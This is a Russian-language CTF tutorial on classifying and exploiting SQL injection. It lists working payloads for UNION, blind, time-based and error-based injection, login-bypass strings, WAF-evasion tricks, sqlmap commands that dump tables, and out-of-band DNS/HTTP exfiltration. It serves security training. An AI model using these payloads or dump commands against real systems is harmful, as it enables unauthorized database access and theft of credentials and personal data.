
Три минуты на UNION-based, двадцать — на boolean-blind и полтора часа на time-based с кастомным WAF. Такой разброс я зафиксировал на шести SQL-задачах последнего jeopardy-CTF. Разница между тремя минутами и полутора часами — не в сложности SQL-синтаксиса. Она в умении за первые тридцать секунд определить тип инъекции и выбрать правильную технику. Ниже — полный разбор каждого типа SQL-инъекций в CTF с конкретными пейлоадами, командами sqlmap и алгоритмом, который экономит турнирное время.
По классификации MITRE ATT&CK SQL-инъекция — техника Exploit Public-Facing Application (T1190, Initial Access). Атакующий находит точку ввода в веб-приложении и через неё добирается до базы данных (Collection, T1213.006). В продвинутых CTF-задачах инъекция ведёт дальше: чтение файлов на сервере (Data from Local System, T1005) или закрепление через SQL Stored Procedures (T1505.001, Persistence). По OWASP — A03:2021, Injection. Подробнее — в нашем подробном разборе создание ctf заданий.
По данным Verizon DBIR 2025, 26% всех подтверждённых нарушений — веб-атаки, инъекции по-прежнему среди основных векторов. В реальном мире мотивация — несанкционированный доступ к базе: учётки, платёжные данные, персоналка, а дальше — продажа на даркнет-маркетах или шифрование с выкупом. В CTF цель проще — флаг — но цепочка действий идентична: найти точку ввода, определить тип инъекции, определить СУБД, вытащить данные.
Алгоритм, который я применяю на каждой веб-задаче CTF, начинается с одинарной кавычки. Вставляем ' в подозрительный параметр — GET, POST, cookie, заголовок. Три исхода определяют дальнейшую стратегию.
Первый: сервер возвращает ошибку вида You have an error in your SQL syntax или Unterminated string literal. Это error-based SQLi — самый быстрый путь к флагу, данные можно достать за один-два запроса.
Второй: страница отображается, но контент изменился — пропали товары, исчезло «Welcome back», поменялось количество строк. Вероятно, boolean-based blind. Проверяем: ' AND '1'='1 возвращает нормальную страницу, ' AND '1'='2 — изменённую. Подтверждено.
Третий: страница визуально не изменилась. Проверяем time-based: ' AND SLEEP(5)-- для MySQL, '; SELECT pg_sleep(5)-- для PostgreSQL. Задержка ответа на пять секунд — инъекция есть, но слепая.
Если ни один вариант не сработал — параметр либо не уязвим, либо фильтруется. Переходим к следующей точке ввода: другой параметр, cookie, HTTP-заголовки (User-Agent, Referer, X-Forwarded-For). На CTF инъекция часто прячется в cookie — организаторы знают, что новички проверяют только GET-параметры.
Синтаксис пейлоадов критически различается между СУБД. По данным SQL Injection Cheat Sheet от Invicti, именно разница в синтаксисе — главная причина провала универсальных пейлоадов на задачах средней сложности.
Быстрые тесты для fingerprinting:
%23 работает как комментарий (символ # в URL-кодировке) — MySQL или MariaDB. Дополнительно: @@version возвращает строку с номером версии|| конкатенирует строки — PostgreSQL или SQLite. Уточняем: sqlite_version() срабатывает — SQLite, version() — PostgreSQL' AND @@version>0-- без ошибки — MySQL или MSSQL' UNION SELECT sqlite_version()-- — SQLite. Главное отличие: вместо information_schema используется sqlite_masterНа CTF чаще всего MySQL и SQLite — они стоят за большинством учебных веб-приложений. PostgreSQL — на задачах повышенной сложности.
UNION-based инъекция работает, когда результат SQL-запроса отображается на странице: каталоги товаров, результаты поиска, профили пользователей. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, и данные из другой таблицы появляются прямо в HTTP-ответе. По данным Acunetix, UNION-based SQLi позволяет объединить результаты нескольких SELECT-запросов в единый ответ.
Предусловие: вывод запроса виден пользователю. Если результат не отображается на странице — техника бесполезна, переходим к blind-методам.
Без точного совпадения числа столбцов UNION выбросит ошибку. ORDER BY через бинарный поиск — самый быстрый метод: ' ORDER BY 1-- — ОК, ' ORDER BY 5-- — ошибка, ' ORDER BY 3-- — ОК, ' ORDER BY 4-- — ошибка. Итого три столбца. Находится за log2(N) запросов.
Альтернатива — UNION SELECT NULL: добавляем NULL-значения по одному, пока не исчезнет ошибка. Медленнее, но надёжнее, когда ORDER BY синтаксически запрещён контекстом.
После определения количества столбцов ищем, какие из них отображаются. Запрос -1' UNION SELECT 'aaa','bbb','ccc'-- покажет маркерные строки на странице. Отрицательный ID -1 гарантирует пустой оригинальный результат. Допустим, MySQL, три столбца, второй отображается — полная цепочка:
-- Таблицы текущей БД
-1' UNION SELECT 1,GROUP_CONCAT(table_name),3
FROM information_schema.tables WHERE table_schema=database()--
-- Столбцы целевой таблицы
-1' UNION SELECT 1,GROUP_CONCAT(column_name),3
FROM information_schema.columns WHERE table_name='flag'--
-- Забираем флаг
-1' UNION SELECT 1,flag,3 FROM flag--
Для SQLite вместо information_schema — запрос к sqlite_master: -1' UNION SELECT 1,sql,3 FROM sqlite_master WHERE type='table'-- вернёт CREATE TABLE со всеми именами столбцов. На этом стабильно ломаются новички, привыкшие к MySQL-синтаксису. В PostgreSQL строже типизация — может потребоваться CAST(1 AS text) вместо числовых заглушек.
Отдельная категория web CTF заданий — форма логина, где цель залогиниться как admin без пароля. Приложение выполняет SELECT * FROM users WHERE username='[input]' AND password='[input]'.
Вводим administrator'-- в поле username, пароль оставляем пустым. Двойное тире комментирует проверку пароля. Вариации для разных ситуаций:
' OR '1'='1'-- — возвращает первого пользователя (обычно admin)admin'/* — inline-комментарий вместо --, работает в MySQL' OR 1=1 LIMIT 1-- — если приложение ожидает ровно одну записьadmin' AND '1'='1 — закрываем кавычку без комментария, когда -- и # фильтруютсяПредусловие: приложение конструирует SQL через конкатенацию строк, не через prepared statements. В CTF это почти всегда так. Если пароль хешируется на стороне приложения (а не в SQL), обход авторизации через комментирование не сработает — имейте в виду.
Blind SQL-инъекция — самый муторный тип CTF-задач. Приложение не возвращает ни результат запроса, ни ошибку — только косвенные признаки. Как указывает PortSwigger, многие реальные уязвимости именно слепые, и техники UNION к ним неприменимы.
Принцип: формулируем вопрос TRUE/FALSE и определяем ответ по поведению приложения. Классический пример из PortSwigger Web Security Academy — cookie TrackingId:
xyz' AND '1'='1 — страница содержит «Welcome back» (TRUE)xyz' AND '1'='2 — «Welcome back» отсутствует (FALSE)Данные извлекаются посимвольно. Пейлоад xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m — если TRUE, первый символ пароля в диапазоне n-z. Бинарный поиск: каждый символ определяется за 6-8 запросов (алфавит ~60 символов: буквы, цифры, спецсимволы). Для строки из 20 символов — 120-160 HTTP-запросов. Руками терпимо, но sqlmap делает это за минуту.
Нюанс: функция SUBSTRING в некоторых СУБД называется SUBSTR или MID. На CTF бывают задачи, где одно название заблокировано фильтром — проверяйте альтернативы.
Некоторые приложения не меняют поведение при TRUE/FALSE вообще. По данным PortSwigger, в таких случаях можно спровоцировать ошибку базы условным выражением с CASE:
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a — деление на ноль при TRUE вызывает ошибку 500xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a — выражение вычисляется как 'a', ответ 200Разница в HTTP-статусе позволяет извлекать данные тем же бинарным поиском: xyz' AND (SELECT CASE WHEN (Username='Administrator' AND SUBSTRING(Password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM Users)='a.
Есть ещё фокус с CAST() для провоцирования verbose-ошибок: CAST((SELECT password FROM users LIMIT 1) AS int) вызовет ERROR: invalid input syntax for type integer: "s3cr3tp@ss". Слепая инъекция превращается в видимую — данные всплывают прямо в тексте ошибки. Работает в PostgreSQL и MSSQL; в MySQL аналог — extractvalue().
Когда приложение перехватывает ошибки и не показывает даже разницу в HTTP-ответах, остаётся время. Условие истинно — сервер тормозит.
Для MySQL: ' IF(SUBSTRING((SELECT flag FROM flag),1,1)='s',SLEEP(5),null)--. Задержка пять секунд — символ угадан. Для PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--. Для MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--.
По данным OWASP, для MySQL есть альтернатива — BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) вместо SLEEP(). Функция выполняет операцию N раз, создавая ощутимую задержку. Полезно, когда SLEEP() заблокирована фильтрами.
Time-based — самая медленная техника: каждый символ = 6-8 запросов по 5 секунд, строка из 30 символов — 15-20 минут ожидания. Руками перебирать нерационально, sqlmap здесь незаменим.
Error-based — противоположность blind: сервер возвращает развёрнутые ошибки, из которых данные извлекаются напрямую. В MySQL работает extractvalue(): пейлоад extractvalue(rand(),concat(0x3a,(SELECT flag FROM flag))) — значение флага окажется в тексте ошибки.
Ограничение: extractvalue() отдаёт максимум 32 символа. Для длинных строк — SUBSTRING: extractvalue(rand(),concat(0x3a,substring((SELECT flag FROM flag),10,32))) позволяет читать с произвольной позиции.
В PostgreSQL тот же эффект даёт CAST(). Для MSSQL — CONVERT(int,(SELECT TOP 1 flag FROM flag)).
Предусловия: display_errors включен (PHP), приложение не перехватывает исключения, verbose-ошибки доходят до пользователя. На CTF среднего уровня error-based встречается нечасто — организаторы намеренно прячут ошибки, чтобы вынудить работать со слепыми техниками.
Обход фильтров — тема, которую русскоязычные гайды покрывают фрагментарно. По данным Invicti SQL Injection Cheat Sheet, основные техники обхода WAF SQL injection сводятся к нескольким категориям.
Смена регистра. Фильтр проверяет SELECT и UNION — пробуем sElEcT, uNiOn. На задачах с regex без флага CASE_INSENSITIVE срабатывает в половине случаев.
Inline-комментарии. UN/**/ION SEL/**/ECT — комментарий /**/ разбивает ключевое слово, СУБД его игнорирует. В MySQL специальный синтаксис /*!50000UNION*/ выполняет код только при версии MySQL >= 5.00.00.
Hex-кодирование строк. Когда фильтруются кавычки: 0x666C6167 вместо 'flag'. Запрос SELECT * FROM flag WHERE name=0x61646D696E эквивалентен WHERE name='admin' без единой кавычки. По данным Invicti, в MySQL 0xHEXNUMBER интерпретируется как строка.
Замена пробелов. SELECT/**/flag/**/FROM/**/flag — комментарии вместо пробелов. Альтернативы: табуляция %09, перевод строки %0a, скобки: SELECT(flag)FROM(flag).
Замена WHERE на LIKE. Когда символ = отфильтрован: WHERE name LIKE 0x61646D696E делает то же самое, обходя фильтры на = и кавычки одновременно.
Обход фильтра запятых. UNION SELECT 1,2,3 заменяется на UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c. Техника с JOIN работает в MySQL и описана в нескольких CTF-разборах.
sqlmap — open-source инструмент на Python, автоматизирующий обнаружение и эксплуатацию SQL-инъекций. По данным CISA (Practical Identification of SQL Injection Vulnerabilities), sqlmap включает движок детектирования и возможности от fingerprinting СУБД до выполнения команд ОС.
На CTF sqlmap запускают после ручного подтверждения инъекции — это экономит трафик и минуты на ненужные проверки.
Самый надёжный способ — сохранить HTTP-запрос из Burp Suite в файл и передать через флаг -r. Точку инъекции можно явно указать символом * в файле запроса:
# Из сохранённого Burp-запроса, автоматический режим
sqlmap -r request.txt --batch --dbs
# Указание СУБД и техники (ускорение в 3-5 раз)
sqlmap -r request.txt --dbms=mysql --technique=U --batch
# Цепочка: БД → таблицы → столбцы → дамп
sqlmap -r request.txt -D target_db -T flag -C flag --dump
# Boolean-blind с маркером TRUE-ответа
sqlmap -r request.txt --string="Welcome back" --batch
# Tamper-скрипты для обхода WAF
sqlmap -r request.txt --tamper=space2comment,randomcase --batch
Разбор ключевых флагов: --batch — не задавать вопросы, принимать дефолты. --dbms=mysql — пропускает fingerprinting. --technique=U — только UNION-based (B — boolean, T — time-based, E — error-based); сужение техники критично, когда каждая минута на счету. --string="Welcome back" — маркер TRUE-ответа для boolean-blind. --level=3 --risk=2 — расширяет набор тестируемых точек (cookie, заголовки) и агрессивность пейлоадов. --prefix="')" --suffix="-- -" — кастомные обёртки для инъекции внутри сложного запроса.
Tamper-скрипты модифицируют пейлоады sqlmap перед отправкой. Для CTF наиболее полезны:
--tamper=space2comment — заменяет пробелы на /**/--tamper=randomcase — случайный регистр: sElEcT--tamper=between — заменяет > на NOT BETWEEN 0 AND--tamper=charencode — URL-кодирование всех символов--tamper=equaltolike — заменяет = на LIKEСкрипты комбинируются: --tamper=space2comment,randomcase. На задачах с многоуровневыми фильтрами комбинация двух-трёх tamper-скриптов решает то, что руками потребовало бы часа экспериментов. Если стандартные tamper не помогают, sqlmap позволяет написать собственный — Python-файл с функцией tamper(payload), которая принимает оригинальный пейлоад и возвращает модифицированный.
На CTF времени на эксперименты мало. Таблица — алгоритм, которым я пользуюсь для выбора техники за первые 30 секунд:
| Признак | Тип инъекции | Первый шаг | Инструмент |
|---|---|---|---|
| Ошибка SQL в ответе | Error-based | extractvalue() или CAST() | Руками, 1-2 запроса |
| Результат запроса на странице | UNION-based | ORDER BY для подсчёта столбцов | Руками, затем sqlmap --technique=U |
| Контент меняется (TRUE/FALSE) | Boolean-blind | SUBSTRING + бинарный поиск | sqlmap --string="маркер" |
| Контент и статус не меняются | Conditional errors | CASE WHEN ... THEN 1/0 | Руками, затем sqlmap |
| Ни ошибок, ни разницы в контенте | Time-based blind | SLEEP(5) / pg_sleep(5) | sqlmap --technique=T |
| Все каналы заблокированы | Out-of-band (OAST) | DNS-exfiltration, UTL_HTTP | sqlmap --dns-domain |
| Ключевые слова фильтруются | WAF bypass | tamper-скрипты, hex, комментарии | sqlmap --tamper=... |
Правило простое: начинай с ручной проверки, переключайся на sqlmap после определения типа инъекции. Запуск sqlmap «вслепую» — трата турнирного времени на перебор всех техник и сотни лишних запросов.
За время участия в jeopardy-CTF и менторства команд я собрал типичные грабли — на каждые из них наступали минимум дважды.
Неправильное количество столбцов в UNION. Ошибка The used SELECT statements have a different number of columns — количество NULL не совпадает с оригинальным запросом. Используйте ORDER BY бинарным поиском, не перебирайте по одному.
Путаница MySQL и SQLite. Запрос к information_schema.tables на SQLite возвращает ошибку — его там нет. Для SQLite: SELECT name FROM sqlite_master WHERE type='table'. Для столбцов: SELECT sql FROM sqlite_master WHERE name='flag' — вернёт полный CREATE TABLE. Казалось бы, очевидно, но на турнирах этот промах стоит людям по 20-30 минут.
Попытка UNION на blind-задаче. Если результат запроса не отображается на странице, UNION бесполезен по определению — переключайтесь на boolean-based или time-based.
Игнорирование кодировки. На задачах с GBK-кодировкой addslashes() обходится многобайтовым символом: %bf%27 превращается в валидный GBK-символ плюс незакрытую кавычку. Если задача упоминает SET NAMES gbk — это подсказка.
Фильтрация пробелов без диагностики. Запрос ' UNION SELECT flag FROM flag-- молча не работает. Пробуем '/**/UNION/**/SELECT/**/flag/**/FROM/**/flag--. Не помогает — %0a (перевод строки) вместо пробелов.
Out-of-band (OAST) — техника для случаев, когда ни in-band (UNION, error), ни inferential (boolean, time) подходы не дают результата. По данным Acunetix, Out-of-band SQLi зависит от возможности СУБД выполнять сетевые запросы: в MSSQL — xp_dirtree отправляет DNS-запрос, в Oracle — UTL_HTTP делает HTTP-запрос с данными из базы. В MySQL — LOAD_FILE() с UNC-путём на SMB-сервер атакующего.
На CTF OAST встречается на задачах уровня hard/insane, где организаторы намеренно блокируют все остальные каналы. sqlmap поддерживает OOB через --dns-domain=your.domain.com, но это требует контроля над DNS-сервером. Для OAST удобен Burp Collaborator или open-source аналог interact.sh.
Девять из десяти задач на SQL-инъекции в CTF решаются через UNION-based или boolean-blind. Но знание OAST — то, что отделяет команду, закрывающую 8/10, от команды на 10/10.
По моему опыту, главная проблема в обучении SQL-инъекциям — чрезмерный фокус на пейлоадах. Новички коллекционируют cheat sheets с сотнями строк, но не понимают, почему конкретный пейлоад работает или не работает. Пейлоад — следствие: он вытекает из типа инъекции, СУБД, контекста запроса и наличия фильтров. Без понимания этих четырёх факторов любой cheat sheet — лотерея.
Второе наблюдение: sqlmap — не волшебная палочка. Я видел десятки ситуаций, где участники запускали sqlmap -u "http://target/?id=1" --batch --dbs и ждали результата, пока соперники руками вытаскивали флаг через UNION за три минуты. sqlmap хорош для автоматизации рутины на blind-задачах, но ручное понимание инъекции — обязательное условие. Если не можешь объяснить, почему ' OR 1=1-- работает на уровне SQL-запроса, автоматизация только замедлит.
Самый эффективный формат прогрессии — задачи по нарастающей: error-based с открытыми ошибками, затем UNION-based с фильтрами, потом boolean-blind, потом time-based с WAF. Именно в таком порядке формируется интуиция выбора техники. На WAPT эту цепочку проходят в течение двух модулей с лабами — если интересует не только CTF, но и подготовка к OSCP, где SQL-инъекции встречаются в каждом втором экзаменационном стенде.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...